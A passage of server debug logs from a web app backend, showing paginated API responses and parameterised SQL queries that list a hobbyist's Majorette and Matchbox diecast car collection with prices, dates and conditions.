      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:07:50.764Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:07:50.764Z server-connect:app Executing action step identify
2026-02-04T11:07:50.764Z server-connect:app options: { provider: 'security' }
2026-02-04T11:07:50.764Z server-connect:output identity: 1
2026-02-04T11:07:50.764Z server-connect:app Executing action step restrict
2026-02-04T11:07:50.764Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:07:50.766Z server-connect:output restrict: undefined
2026-02-04T11:07:50.766Z server-connect:app Executing action step paged
2026-02-04T11:07:50.766Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:07:50.771Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:08:52.336Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:08:52.336Z server-connect:app Executing action step identify
2026-02-04T11:08:52.336Z server-connect:app options: { provider: 'security' }
2026-02-04T11:08:52.337Z server-connect:output identity: 1
2026-02-04T11:08:52.337Z server-connect:app Executing action step restrict
2026-02-04T11:08:52.337Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:08:52.338Z server-connect:output restrict: undefined
2026-02-04T11:08:52.338Z server-connect:app Executing action step paged
2026-02-04T11:08:52.338Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:08:52.343Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:09:31.882Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:09:31.882Z server-connect:app Executing action step identify
2026-02-04T11:09:31.882Z server-connect:app options: { provider: 'security' }
2026-02-04T11:09:31.882Z server-connect:output identity: 1
2026-02-04T11:09:31.882Z server-connect:app Executing action step restrict
2026-02-04T11:09:31.882Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:09:31.883Z server-connect:output restrict: undefined
